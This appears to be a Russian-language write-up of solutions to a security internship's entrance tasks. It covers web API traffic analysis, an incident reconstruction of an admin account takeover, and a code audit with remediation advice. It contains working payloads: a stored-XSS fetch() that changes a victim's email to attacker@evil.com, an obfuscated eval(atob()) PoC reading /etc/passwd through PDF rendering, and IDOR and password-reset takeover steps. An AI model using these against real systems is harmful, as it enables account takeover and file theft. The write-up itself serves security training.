C 13 апреля по 10 мая был открыт приём заявок на стажировку Summ3r 0f h4ck 2026. Для прохождения стажировки нужно было решить 10 задач по практической информационной безопасности, лучших по результатам этого этапа мы позвали сначала на собеседование, а потом и на саму стажировку. В этом году было рекордное количество заявок. К сожалению, всех желающих […]
Источник

C 13 апреля по 10 мая был открыт приём заявок на стажировку Summ3r 0f h4ck 2026.
Для прохождения стажировки нужно было решить 10 задач по практической информационной безопасности, лучших по результатам этого этапа мы позвали сначала на собеседование, а потом и на саму стажировку.
В этом году было рекордное количество заявок. К сожалению, всех желающих на Summ3r 0f h4ck 2026 мы позвать не можем, однако надеемся что эта статья поможет с решением заданий в следующем году 🙂
Вы проводите анализ защищённости веб-приложения корпоративного портала. В ходе тестирования вы обнаружили несколько сценариев API и исследовали их поведение. Представлены HTTP-запросы и ответы, полученные в ходе тестирования.
POST /api/v1/profile HTTP/1.1
Host: portal.targetcorp.com
Cookie: session=eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEwNSwidXNlcm5hbWUiOiJhdHRhY2tlciIsInJvbGUiOiJ1c2VyIn0.xYz123
Content-Type: application/json
Origin: https://portal.targetcorp.com
{"display_name": "<img src=x onerror=alert(document.domain)>", "bio": "Test user"}
Ответ 1:
HTTP/1.1 200 OK
Content-Type: application/json
Access-Control-Allow-Origin: https://portal.targetcorp.com
Access-Control-Allow-Credentials: true
{"status": "ok", "message": "Profile updated"}
GET /profile/105 HTTP/1.1
Host: portal.targetcorp.com
Cookie: session=eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEwNSwidXNlcm5hbWUiOiJhdHRhY2tlciIsInJvbGUiOiJ1c2VyIn0.xYz123
Ответ 2:
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-Powered-By: Express
<!DOCTYPE html>
<html>
<head><title>User Profile</title></head>
<body>
<div class="profile-card">
<h2><img src=x onerror=alert(document.domain)></h2>
<p class="bio">Test user</p>
<p class="uid">User ID: 105</p>
</div>
</body>
</html>
POST /api/v1/account/change-email HTTP/1.1
Host: portal.targetcorp.com
Cookie: session=eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEwNSwidXNlcm5hbWUiOiJhdHRhY2tlciIsInJvbGUiOiJ1c2VyIn0.xYz123
Content-Type: application/x-www-form-urlencoded
Origin: https://portal.targetcorp.com
new_email=attacker@evil.com
Ответ 3:
HTTP/1.1 200 OK
Content-Type: application/json
{"status": "ok", "message": "Email changed to attacker@evil.com"}
POST /api/v1/account/change-email HTTP/1.1
Host: portal.targetcorp.com
Cookie: session=eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEwNSwidXNlcm5hbWUiOiJhdHRhY2tlciIsInJvbGUiOiJ1c2VyIn0.xYz123
Content-Type: application/x-www-form-urlencoded
Origin: https://evil-site.com
Referer: https://evil-site.com/csrf.html
new_email=hacked@evil.com
Ответ 4:
HTTP/1.1 200 OK
Content-Type: application/json
Access-Control-Allow-Origin: https://evil-site.com
Access-Control-Allow-Credentials: true
{"status": "ok", "message": "Email changed to hacked@evil.com"}
POST /api/v1/account/reset-password HTTP/1.1
Host: portal.targetcorp.com
Content-Type: application/json
{"email": "hacked@evil.com"}
Ответ 5:
HTTP/1.1 200 OK
Content-Type: application/json
{"status": "ok", "message": "Password reset link sent to hacked@evil.com"}
GET /api/v1/profile/1 HTTP/1.1
Host: portal.targetcorp.com
Cookie: session=eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEwNSwidXNlcm5hbWUiOiJhdHRhY2tlciIsInJvbGUiOiJ1c2VyIn0.xYz123
Ответ 6:
HTTP/1.1 200 OK
Content-Type: application/json
{"uid": 1, "username": "admin", "email": "admin@targetcorp.com",
"role": "administrator", "display_name": "Admin User",
"last_login": "2025-03-15T10:30:00Z"}
Решение:
Stored XSS в поле display_name
В Запросе 1 в поле display_name передаётся HTML-тег <img src=x onerror=alert(document.domain)>. В Ответе 2 видно, что это значение отображается без экранирования (тег вставлен как есть в HTML).
В Ответе 4 сервер отвечает заголовком Access-Control-Allow-Origin: https://evil-site.com и Access-Control-Allow-Credentials: true. Любой сторонний сайт может выполнять cross-origin запросы к API с куками пользователя.
Сценарий /api/v1/account/change-email принимает Content-Type: application/x-www-form-urlencoded, не требует CSRF-токен и не проверяет текущий пароль. Это позволяет сменить email жертвы с внешнего сайта.
В Запросе 6 пользователь с uid=105 обращается к /api/v1/profile/1 и получает полные данные администратора, включая email и роль. Сервер не проверяет принадлежность запрашиваемого профиля текущему пользователю.
admin@targetcorp.com, uid=1./api/v1/account/change-email с new_email=attacker@evil.comattacker@evil.comattacker@evil.comdisplay_name полезную нагрузку XSS, которая выполняет fetch-запрос:<img src=x onerror="fetch('/api/v1/account/change-email',
{method:'POST',
headers:{'Content-Type':'application/x-www-form-urlencoded'},
body:'new_email=attacker@evil.com',
credentials:'include'})">
Представлены пары HTTP-запросов и ответов. Опишите процесс тестирования представленной функциональности (какие проверки будете выполнять).
Какие потенциальные или явные уязвимости вы видите?
POST /login HTTP/1.1
Host: vulnerableapp.ru
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0
Content-Type: application/json
Content-Lenght: ...
{"login":"userone","pass":"geibcnbr"}
Ответ 1:
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Lenght: ...
Set-Cookie: session=<some session cookie>; SameSite=None
<html>
<head>...</head>
...
<body>
Hello, userone!
</body>
</html>
GET /user-info?id=MjUwMA== HTTP/1.1
Host: vulnerableapp.ru
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0
Cookie: session=<some session cookie>;
Ответ 2:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Lenght: ...
{"name":"alex", "pwd":"geibcnbr", "role":"user", "status":"verified"}
POST /update-user-info?id=MjUwMA== HTTP/1.1
Host: vulnerableapp.ru
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0
Content-Lenght: ...
Content-Type: application/json
{"name":"alex", "pwd":"newgeibcnbr"}
Ответ 3:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Lenght: ...
{"response":"OK"}
GET /item?id=351 HTTP/1.1
Host: vulnerableapp.ru
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0
Cookie: session=<some session cookie>;
Ответ 4:
HTTP/1.1 200 OK
Content-Lenght: ...
Content-Type: application/json
{"id":"351","price":"1000"}
POST /buy-item HTTP/1.1
Host: vulnerableapp.ru
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0
Content-Lenght: ...
Content-Type: application/json
Cookie: session=<some session cookie>;
{"id":"351", "price":"1000", "promocode":"20sale"}
Ответ 5:
HTTP/1.1 200 OK
Content-Lenght: ...
Content-Type: application/json
{"transaction-status":"OK"}
Решение:
Запрос / ответ 1:
login подставляется в тело ответа)samesite=none, отсутствие атрибутов Secure и httponly на Cookierole) и статуса аккаунта (status)Во время внутреннего аудита безопасности корпоративного web-приложения Acme Projects Portal был собран фрагмент HTTP-трафика, относящийся к действиям обычного пользователя и последующим подозрительным событиям.
Приложение используется сотрудниками компании для:
Вам передан набор пар HTTP запросов и ответов. Необходимо провести анализ так, как будто вы пришли на место инцидента уже после атаки и видите только цифровые следы.
На основе представленного трафика необходимо ответить на следующие вопросы:
В ответе необходимо:
POST /api/v1/auth/login HTTP/1.1
Host: portal.acme.local
Content-Type: application/json
{
"username": "alex",
"password": "Winter2024!"
}
Ответ 1
HTTP/1.1 200 OK
Set-Cookie: SESSIONID=7f8a9c2e1d4b6a11; Path=/; HttpOnly
{
"status": "ok",
"user": {
"id": 1042,
"username": "alex",
"role": "user"
}
}
GET /api/v1/profile HTTP/1.1
Host: portal.acme.local
Cookie: SESSIONID=7f8a9c2e1d4b6a11
Ответ 2
HTTP/1.1 200 OK
Content-Type: application/json
{
"id": 1042,
"username": "alex",
"full_name": "Alex Ivanov",
"email": "alex@acme.local",
"department": "QA",
"role": "user",
"mfa_enabled": false
}
GET /api/v1/users?limit=50 HTTP/1.1
Host: portal.acme.local
Cookie: SESSIONID=7f8a9c2e1d4b6a11
Ответ 3
HTTP/1.1 200 OK
Content-Type: application/json
{
"total": 6,
"items": [
{
"id": 1001,
"username": "john",
"full_name": "John Petrov",
"email": "john@acme.local",
"role": "admin",
"department": "IT"
},
{
"id": 1008,
"username": "sarah",
"full_name": "Sarah Connor",
"email": "sarah@acme.local",
"role": "manager",
"department": "Finance"
},
{
"id": 1042,
"username": "alex",
"full_name": "Alex Ivanov",
"email": "alex@acme.local",
"role": "user",
"department": "QA"
},
{
"id": 1043,
"username": "kate",
"full_name": "Kate Smirnova",
"email": "kate@acme.local",
"role": "user",
"department": "QA"
},
{
"id": 1050,
"username": "devops",
"full_name": "DevOps Service",
"email": "devops@acme.local",
"role": "service",
"department": "Infrastructure"
},
{
"id": 1099,
"username": "audit",
"full_name": "Audit Bot",
"email": "audit@acme.local",
"role": "system",
"department": "Security"
}
]
}
GET /api/v1/users/1001 HTTP/1.1
Host: portal.acme.local
Cookie: SESSIONID=7f8a9c2e1d4b6a11
Ответ 4
HTTP/1.1 200 OK
Content-Type: application/json
{
"id": 1001,
"username": "john",
"full_name": "John Petrov",
"email": "john@acme.local",
"role": "admin",
"department": "IT",
"phone": "+1-555-0101",
"timezone": "UTC+3"
}
POST /api/v1/profile/update HTTP/1.1
Host: portal.acme.local
Cookie: SESSIONID=7f8a9c2e1d4b6a11
Content-Type: application/json
{
"user_id": 1042,
"full_name": "Alex Ivanov",
"email": "alex.personal@mailbox.test"
}
Ответ 5
HTTP/1.1 200 OK
Content-Type: application/json
{
"status": "updated",
"message": "Profile updated"
}
GET /api/v1/profile HTTP/1.1
Host: portal.acme.local
Cookie: SESSIONID=7f8a9c2e1d4b6a11
Ответ 6
HTTP/1.1 200 OK
Content-Type: application/json
{
"id": 1042,
"username": "alex",
"full_name": "Alex Ivanov",
"email": "alex.personal@mailbox.test",
"department": "QA",
"role": "user",
"mfa_enabled": false
}
POST /api/v1/profile/update HTTP/1.1
Host: portal.acme.local
Cookie: SESSIONID=7f8a9c2e1d4b6a11
Content-Type: application/json
{
"user_id": 1001,
"full_name": "John Petrov",
"email": "john-temp@external.test"
}
Ответ 7
HTTP/1.1 200 OK
Content-Type: application/json
{
"status": "updated",
"message": "Profile updated"
}
GET /api/v1/users/1001 HTTP/1.1
Host: portal.acme.local
Cookie: SESSIONID=7f8a9c2e1d4b6a11
Ответ 8
HTTP/1.1 200 OK
Content-Type: application/json
{
"id": 1001,
"username": "john",
"full_name": "John Petrov",
"email": "john-temp@external.test",
"role": "admin",
"department": "IT",
"phone": "+1-555-0101",
"timezone": "UTC+3"
}
GET /api/v1/notifications?user_id=1042 HTTP/1.1
Host: portal.acme.local
Cookie: SESSIONID=7f8a9c2e1d4b6a11
Ответ 9
HTTP/1.1 200 OK
Content-Type: application/json
[
{
"id": 50111,
"type": "profile_change",
"subject": "Your email was changed",
"preview": "Your account email has been changed to alex.personal@mailbox.test",
"created_at": "2026-03-11T09:11:43Z"
}
]
GET /api/v1/notifications?user_id=1001 HTTP/1.1
Host: portal.acme.local
Cookie: SESSIONID=7f8a9c2e1d4b6a11
Ответ 10
HTTP/1.1 200 OK
Content-Type: application/json
[
{
"id": 48872,
"type": "profile_change",
"subject": "Your email was changed",
"preview": "Your account email has been changed to john-temp@external.test",
"created_at": "2026-03-11T09:14:07Z"
}
]
POST /api/v1/auth/password/forgot HTTP/1.1
Host: portal.acme.local
Content-Type: application/json
{
"email": "john-temp@external.test"
}
Ответ 11
HTTP/1.1 200 OK
Content-Type: application/json
{
"status": "ok",
"message": "If account exists, reset instructions have been sent"
}
GET /api/v1/notifications?user_id=1001 HTTP/1.1
Host: portal.acme.local
Cookie: SESSIONID=7f8a9c2e1d4b6a11
Ответ 12
HTTP/1.1 200 OK
Content-Type: application/json
[
{
"id": 48872,
"type": "profile_change",
"subject": "Your email was changed",
"preview": "Your account email has been changed to john-temp@external.test",
"created_at": "2026-03-11T09:14:07Z"
},
{
"id": 48873,
"type": "password_reset",
"subject": "Password reset requested",
"preview": "Reset token: 4f9d2e77-7ac0-41e2-93d7-1cb7be7dd9d4",
"created_at": "2026-03-11T09:15:02Z"
}
]
POST /api/v1/auth/password/reset HTTP/1.1
Host: portal.acme.local
Content-Type: application/json
{
"token": "4f9d2e77-7ac0-41e2-93d7-1cb7be7dd9d4",
"new_password": "NewStrongAdminPass#2026"
}
Ответ 13
HTTP/1.1 200 OK
Content-Type: application/json
{
"status": "password_changed"
}
POST /api/v1/auth/login HTTP/1.1
Host: portal.acme.local
Content-Type: application/json
{
"username": "john",
"password": "NewStrongAdminPass#2026"
}
Ответ 14
HTTP/1.1 200 OK
Set-Cookie: SESSIONID=aa91cd2200ef9812; Path=/; HttpOnly
{
"status": "ok",
"user": {
"id": 1001,
"username": "john",
"role": "admin"
}
}
GET /api/v1/admin/dashboard HTTP/1.1
Host: portal.acme.local
Cookie: SESSIONID=aa91cd2200ef9812
Ответ 15
HTTP/1.1 200 OK
Content-Type: application/json
{
"stats": {
"users": 186,
"projects": 41,
"active_sessions": 73
},
"message": "Welcome, John Petrov"
}
GET /api/v1/admin/projects/export?format=json HTTP/1.1
Host: portal.acme.local
Cookie: SESSIONID=aa91cd2200ef9812
Ответ 16
HTTP/1.1 200 OK
Content-Type: application/json
{
"projects": [
{
"id": 7001,
"name": "M&A Due Diligence",
"owner": "Finance",
"confidential": true
},
{
"id": 7002,
"name": "Internal IAM Migration",
"owner": "IT",
"confidential": true
}
]
}
GET /api/v1/admin/audit?limit=5 HTTP/1.1
Host: portal.acme.local
Cookie: SESSIONID=aa91cd2200ef9812
Ответ 17
HTTP/1.1 200 OK
Content-Type: application/json
[
{
"event_id": 99001,
"type": "login",
"actor": "john",
"ip": "10.10.14.23",
"timestamp": "2026-03-11T09:17:10Z"
},
{
"event_id": 98998,
"type": "password_reset",
"actor": "john",
"ip": "10.10.14.23",
"timestamp": "2026-03-11T09:15:18Z"
},
{
"event_id": 98997,
"type": "email_change",
"actor": "alex",
"target_user_id": 1001,
"timestamp": "2026-03-11T09:14:07Z"
}
]
GET /api/v1/security/policy HTTP/1.1
Host: portal.acme.local
Cookie: SESSIONID=7f8a9c2e1d4b6a11
Ответ 18
HTTP/1.1 200 OK
Content-Type: application/json
{
"email_change_requires_reauth": false,
"password_reset_invalidate_sessions": false,
"admin_mfa_required": false,
"notify_on_sensitive_changes": true
}
Решение
Что произошло?
Пользователь alex (role: user, id: 1042) смог полностью захватить учётную запись администратора john (role: admin, id: 1001) и получить доступ к конфиденциальным данным.
Атака не использовала никаких эксплойтов или уязвимостей в сторонних библиотеках — она целиком построена на логических дефектах самого приложения и отсутствии проверок авторизации в приложении.
Шаг 1 — Аутентификация под обычным пользователемЗапрос 1 / Ответ 1
Атакующий входит в приложение под учётными данными обычного пользователя:
POST /api/v1/auth/login
{ "username": "alex", "password": "Winter2024!" }
В ответе сервер возвращает:
{ "id": 1042, "username": "alex", "role": "user" }
и устанавливает сессионную куку SESSIONID=7f8a9c2e1d4b6a11. Именно эта кука используется во всех последующих запросах вплоть до Блока 6.
На этом этапе атакующий имеет легитимный доступ к приложению как обычный пользователь — ничего подозрительного.
Шаг 2 — Разведка: получение списка всех пользователейЗапрос 3 / Ответ 3
Атакующий запрашивает список сотрудников:
GET /api/v1/users?limit=50
Сервер возвращает полный список из 6 пользователей, включая:
{
"id": 1001,
"username": "john",
"email": "john@acme.local",
"role": "admin",
"department": "IT"
}
Это даёт атакующему всё необходимое для выбора цели: внутренний идентификатор 1001, логин john, email и роль администратора. Помимо этого, в ответе видны служебные аккаунты (devops, audit) — потенциальные цели для дальнейших атак.
Запрос 4 / Ответ 4
Атакующий запрашивает профиль администратора напрямую по ID:
GET /api/v1/users/1001
Сервер без каких-либо ограничений возвращает расширенную карточку:
{
"id": 1001,
"email": "john@acme.local",
"role": "admin",
"phone": "+1-555-0101",
"timezone": "UTC+3"
}
Обычный пользователь получает детальный профиль администратора — это избыточное раскрытие информации.
Шаг 4 — Изучение механизма редактирования профиля на себеЗапрос 5 / Ответ 5 → Запрос 6 / Ответ 6
Перед атакой на чужой профиль атакующий проверяет, как работает endpoint обновления, на собственном аккаунте:
POST /api/v1/profile/update
{ "user_id": 1042, "full_name": "Alex Ivanov", "email": "alex.personal@mailbox.test" }
Сервер отвечает "status": "updated". Проверка через GET /api/v1/profile (Ответ 6) подтверждает, что email действительно изменился:
{ "email": "alex.personal@mailbox.test" }
Шаг 5 — IDOR: изменение email администратораКлючевое наблюдение: endpoint принимает
user_idпрямо из тела запроса и доверяет ему без проверки. Это означает, что можно передать любойuser_id.
Запрос 7 / Ответ 7 → Запрос 8 / Ответ 8
Атакующий повторяет тот же запрос, подменив user_id на 1001 (администратор john) и указав подконтрольный ему email:
POST /api/v1/profile/update
{ "user_id": 1001, "full_name": "John Petrov", "email": "john-temp@external.test" }
Сервер снова отвечает "status": "updated". Проверка через GET /api/v1/users/1001 (Ответ 8) подтверждает:
{ "email": "john-temp@external.test" }
Email администратора успешно изменён на адрес, контролируемый атакующим. Это центральный момент атаки.
Шаг 6 — IDOR: чтение уведомлений администратораЗапрос 10 / Ответ 10
Атакующий убеждается, что операция прошла успешно, запросив уведомления чужого пользователя:
GET /api/v1/notifications?user_id=1001
Сервер возвращает уведомления администратора, в том числе:
{
"type": "profile_change",
"subject": "Your email was changed",
"preview": "Your account email has been changed to john-temp@external.test"
}
Это вторая независимая уязвимость IDOR: параметр user_id в query string не проверяется относительно текущего аутентифицированного пользователя.
Запрос 11 / Ответ 11
Теперь атакующий запускает процедуру сброса пароля, указав уже подменённый email администратора:
POST /api/v1/auth/password/forgot
{ "email": "john-temp@external.test" }
Сервер отвечает стандартным сообщением:
{ "status": "ok", "message": "If account exists, reset instructions have been sent" }
Письмо с токеном уходит на john-temp@external.test — адрес, подконтрольный атакующему. Но следующий шаг показывает, что письмо и вовсе не нужно.
Запрос 12 / Ответ 12
Атакующий снова читает уведомления администратора через тот же IDOR:
GET /api/v1/notifications?user_id=1001
В ответе появляется новое уведомление:
{
"type": "password_reset",
"subject": "Password reset requested",
"preview": "Reset token: 4f9d2e77-7ac0-41e2-93d7-1cb7be7dd9d4"
}
Токен сброса пароля возвращается прямо в поле preview через API. Атакующему даже не нужен доступ к почтовому ящику — токен доступен через приложение.
Запрос 13 / Ответ 13
Используя полученный токен, атакующий устанавливает новый пароль для аккаунта john:
POST /api/v1/auth/password/reset
{ "token": "4f9d2e77-7ac0-41e2-93d7-1cb7be7dd9d4", "new_password": "NewStrongAdminPass#2026" }
Сервер отвечает:
{ "status": "password_changed" }
Шаг 10 — Вход под захваченной учётной записью
Запрос 14 / Ответ 14
Атакующий входит в приложение под аккаунтом администратора:
POST /api/v1/auth/login
{ "username": "john", "password": "NewStrongAdminPass#2026" }
Сервер выдаёт новую сессию:
Set-Cookie: SESSIONID=aa91cd2200ef9812
{ "id": 1001, "username": "john", "role": "admin" }
Захват аккаунта завершён. С этого момента атакующий действует с правами администратора.
Шаг 11 — Использование административных привилегийЗапрос 15 / Ответ 15 — административная панель
GET /api/v1/admin/dashboard
{ "users": 186, "projects": 41, "active_sessions": 73 }
Запрос 16 / Ответ 16 — экспорт конфиденциальных проектов
GET /api/v1/admin/projects/export?format=json
[
{ "name": "M&A Due Diligence", "confidential": true },
{ "name": "Internal IAM Migration", "confidential": true }
]
Атакующий получил доступ к конфиденциальным бизнес-данным организации.
Шаг 12 — Следы в аудитеЗапрос 17 / Ответ 17
Аудит-лог фиксирует произошедшее:
{
"type": "email_change",
"actor": "alex",
"target_user_id": 1001,
"timestamp": "2026-03-11T09:14:07Z"
}
Запись явно показывает, что пользователь alex изменил данные пользователя с id: 1001. Это важный цифровой след, позволяющий атрибутировать атаку.
Почему это стало возможным? Уязвимость 1 — IDOR вПримечание: записи с
actor: johnдля событийloginиpassword_resetотражают имя аккаунта, от которого выполнялось действие, а не реального человека. Реальный атакующий —alex.
/api/v1/profile/update
Место: Запрос 7, поле user_id: 1001 в теле запроса.
Сервер принимает user_id от клиента и выполняет операцию над указанным объектом без проверки того, принадлежит ли этот объект текущему аутентифицированному пользователю. Это классический BOLA (Broken Object Level Authorization) по классификации OWASP API Security Top 10.
/api/v1/notifications
Место: Запрос 10 и Запрос 12, параметр ?user_id=1001.
Endpoint уведомлений не проверяет, соответствует ли запрошенный user_id текущей сессии. Любой аутентифицированный пользователь может читать уведомления любого другого пользователя.
Место: Ответ 12, поле "preview": "Reset token: 4f9d2e77-7ac0-41e2-93d7-1cb7be7dd9d4".
Токен сброса пароля — это секрет, эквивалентный временному паролю. Его появление в клиентски доступном API-ответе означает, что он компрометируется независимо от того, дошло ли письмо до адресата. В сочетании с IDOR в уведомлениях это делает механизм сброса пароля полностью бесполезным с точки зрения безопасности.
Уязвимость 4 — Небезопасная бизнес-логика смены emailМесто: Запрос 5→Ответ 5 (успешная смена без подтверждений), Запрос 7→Ответ 7 (то же для чужого аккаунта).
Смена email немедленно вступает в силу и не требует:
Это означает, что при наличии IDOR в profile/update захват аккаунта через сброс пароля становится тривиальным.
Уязвимость 5 — Избыточное раскрытие данных в/api/v1/users
Место: Ответ 3 — обычный пользователь получает id, email, role всех сотрудников, включая служебные аккаунты (devops, audit).
Раскрытие внутренних ID и ролей облегчает разведку и выбор цели для атаки.
Уязвимость 6 — Отсутствие обязательной MFA для администраторовМесто: Ответ 2, поле "mfa_enabled": false; Ответ 18, поле "admin_mfa_required": false.
После компрометации логина и пароля ничто не помешало атакующему войти в аккаунт администратора (Ответ 14). Второй фактор аутентификации мог бы заблокировать атаку на этом шаге.
Уязвимость 7 — Отсутствие инвалидирования сессий после сброса пароляМесто: Ответ 18, поле "password_reset_invalidate_sessions": false.
После смены пароля все существующие сессии остаются активными. Это означает, что даже если легитимный администратор заметит атаку и сменит пароль обратно, атакующий с уже полученной сессией aa91cd2200ef9812 продолжит иметь доступ.
Место: Запрос 18 — запрос выполнен с сессией обычного пользователя 7f8a9c2e1d4b6a11, Ответ 18 возвращает детальные настройки политики безопасности приложения.
Атакующий получил информацию о настройках приложения без каких-либо привилегий.
Рекомендации по исправлению Рекомендация 1 — Исправить авторизацию на уровне объектовДля всех self-service операций user_id должен извлекаться исключительно из серверной сессии, а не из тела запроса или query-параметров.
Было (Запрос 7):
POST /api/v1/profile/update
{ "user_id": 1001, "email": "john-temp@external.test" }
Должно быть:
POST /api/v1/profile/update
Cookie: SESSIONID=...
{ "email": "john-temp@external.test" }
// user_id берётся из сессии на стороне сервера
Это же правило применяется к /api/v1/notifications — endpoint должен возвращать только уведомления текущего аутентифицированного пользователя.
Поле preview в уведомлениях не должно содержать токен. Уведомление должно сообщать лишь факт события:
{
"type": "password_reset",
"preview": "A password reset was requested for your account."
}
Сам токен должен передаваться только по защищённому внешнему каналу (email). На сервере следует хранить только хеш токена (например, SHA-256), а не сам токен.
Рекомендация 3 — Усилить процесс смены emailВнедрить многоэтапное подтверждение:
Параметр password_reset_invalidate_sessions должен быть true. После успешного сброса пароля все активные сессии пользователя должны аннулироваться, чтобы атакующий не мог продолжать использовать уже полученную сессию.
admin_mfa_required должен быть true. Для аккаунтов с ролями admin, manager, service, system необходимо требовать второй фактор при каждом входе. Это могло бы заблокировать атаку на шаге 10, даже если все предыдущие уязвимости остались бы незакрытыми.
/api/v1/users
Для пользователей с ролью user следует возвращать только минимально необходимые поля — например, имя и отдел. Внутренние идентификаторы, email и роли не должны быть видны рядовым сотрудникам. Служебные аккаунты (devops, audit) не должны присутствовать в общем справочнике.
/api/v1/security/policy
Настройки политики безопасности должны быть доступны только администраторам. Раскрытие этих данных обычным пользователям помогает атакующему понять, какие защитные механизмы отсутствуют.
Рекомендация 8 — Усилить мониторингВнедрить автоматические алерты для SOC/ответственных на следующие события:
email_change → password_reset → login в короткий временной интервал (в данном случае — менее 6 минут, с 09:11 до 09:17 по данным из Ответ 17).Вы анализируете файлы из утечки исходного кода веб-приложения электронной бухгалтерии. Необходимо исследовать представленный код, выявить возможные уязвимости и составить из них цепочку.
Для каждой обнаруженной проблемы требуется привести:
Ссылка на скачивание файлов: https://github.com/testdsec/SOH2026/tree/main/task_4
Ответ: 1. Нарушение контроля доступа при получении информации о пользователях ОписаниеВ приложении реализован доступ к информации о пользователях по прямой ссылке с использованием уникальных идентификаторов, при этом некорректно реализована проверка доступа пользователя к информации о другом пользователе,
РискЗлоумышленник может получить данные обо всех пользователях приложения, включая их идентификаторы и электронные почты. Уязвимость может быть использована для осуществления дальнейших атак на приложение. Аутентификация в приложении для эксплуатации уязвимости не требуется.
Шаги по эксплуатацииВ приложении существует функциональность получения информации о пользователях по их идентификатору userId с помощью GET-запроса /api/user?userId={userid}. Обработчик запроса реализован в файле UserController.cs:
int? currentUserId = _currentUserService.GetCurrentUserId(HttpContext) is int id ? id : null;
if (!Request.Query.ContainsKey("userId"))
{
return BadRequest(new { error = "Missing required parameter: userId" });
}
string whereClause = string.Empty;
if (!string.IsNullOrWhiteSpace(userId))
{
...
if (currentUserId == null || requestedUserId != currentUserId.Value)
{
return Forbid();
}
whereClause = $"WHERE u.Id = {userId}";
}
string sql = $@"
SELECT u.Id, u.Email, u.PasswordHash, u.ResetToken
FROM Users u {whereClause};";
Запрос требует наличие обязательного GET-параметра userId, но при указании данного параметра с пустым значением возможен обход проверки доступа пользователя, от которого выполняется запрос, к пользователю, указанному в параметре userId. Выражение whereClause не формируется и запрос возвращает информацию обо всех пользователях, включающую их идентификаторы и электронные почты. За счет того, что сессия пользователя проверяется в случае, если переданный параметр userId не пуст, то эксплуатация уязвимости доступна неаутентифицированному пользователю.
Пример запроса для получения информации обо всех пользователях приложения:
GET /api/user?userId=
Host: <host>
Рекомендации по устранению
userId.[Authorize(Roles = "user")].В приложении некорректно реализован механизм сброса пароля, что позволяет сменить (сбросить) пароль для зарегистрированного пользователя по его электронной почте.
РискЗлоумышленник может получить полный доступ к аккаунту пользователя, зная его электронную почту.
Электронные почты пользователей могут быть получены с помощью уязвимости из п. 1.
В приложении существует механизм сброса пароля, реализованный с помощью POST-запроса /api/user/password/request (генерация токена для сброса пароля и отправка его на электронную почту) и POST-запроса /api/user/password/reset (сброс пароля по токену и почте). При выполнении запроса на сброс пароля необходимо указать в теле запроса параметры Token и Email.
В коде UserConroller.cs отсутствует проверка, относится ли токен сброса к указанной в запросе почте. Пароль меняется для пользователя, чья почта указана в запросе:
[HttpPost("password/reset")]
public IActionResult Reset([FromBody] ResetPasswordModel req)
{
var resetToken = _db.Users.FirstOrDefault(x => x.ResetToken == req.Token);
if (resetToken == null)
return BadRequest("Invalid token");
var account = _db.Users.FirstOrDefault(x => x.Email == req.Email);
if (account == null)
return BadRequest("User not found");
...
account.PasswordHash = $"{Convert.ToBase64String(salt)}:{Convert.ToBase64String(hash)}";
...
_db.SaveChanges();
...
Таким образом, для захвата аккаунта пользователя необходимо сначала отправить POST-запрос /api/user/password/request c контролируемым email в параметра Email, а затем перейти по ссылке из письма и в POST-запросе с параметрами Token и Email подменить электронную почту на почту жертвы. Тогда для данного аккаунта будет установлен пароль, указанный в параметре NewPassword. Электронные почты жертв могут быть получены с помощью уязвимости из п. 1.
Функциональность генерации PDF позволяет передавать произвольный HTML со стороны клиента, который затем рендерится сервером в браузере headless Chromium через PuppeteerSharp. HTML проходит через самописную санитизацию на основе регулярных выражений.
Данная санитизация некорректная и ее возможно обойти. В результате злоумышленник может выполнить JavaScript в контексте отображаемой страницы, динамически создать iframe с источником file:///... и добиться включения содержимого локального файла сервера в итоговый PDF.
Злоумышленник может прочитать локальные файлы на сервере, доступные процессу приложения. Это может привести к раскрытию конфиденциальных данных, включая системные файлы, конфигурацию приложения, секреты, ключи, токены.
Запрос требует аутентификации пользователя с ролью user. Открытая регистрация в приложении отсутствует, запрос может быть выполнен от имени пользователя, аккаунт которого захвачен с помощью уязвимости из п. 2.
Функциональность генерации PDF-отчетов реализована в PdfGeneratorController.cs и доступна c помощью метода POST /PdfGenerator.
Эндпоинт принимает HTML-код из тела запроса:
using var reader = new StreamReader(Request.Body);
var html = await reader.ReadToEndAsync();
html = SanitizeHtml(html);
После этого HTML сохраняется во временный файл и открывается браузером как локальная страница:
await System.IO.File.WriteAllTextAsync(tempHtmlPath, html);
var fileUrl = new Uri(tempHtmlPath).AbsoluteUri;
await page.GoToAsync(fileUrl, new NavigationOptions
{
WaitUntil = new[] { WaitUntilNavigation.Load }
});
Браузер при этом запускается с флагом --allow-file-access-from-files, что позволяет странице загружать другие локальные ресурсы. Перед генерацией pdf происходит 2ух секундная пауза, в это время JavaScript на странице может отработать, после чего страница сохраняется в формате pdf:
await page.PdfAsync(tempPdfPath, new PdfOptions
{
PrintBackground = true
});
Из-за некорректно реализованной самописной санитизации и отсутствия обработчика события onerror в файле events.lst становится возможным исполение JavaScript-кода в контексте страницы.
Пример PoC для эксплуатации:
<!DOCTYPE html>
<html>
<body>
<img src="x" onerror="eval(atob('dmFyIGlmcmFtZSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2lmcmFtZScpOwppZnJhbWUuc3JjID0gJ2ZpbGU6Ly8vZXRjL3Bhc3N3ZCc7CmRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoaWZyYW1lKTs='))">
</body>
</html>
В base64 закодирован JavaScript-скрипт, который добавляет iframe-элемент, отображающий локальный файл:
var iframe = document.createElement('iframe');
iframe.src = 'file:///etc/passwd';
document.body.appendChild(iframe);
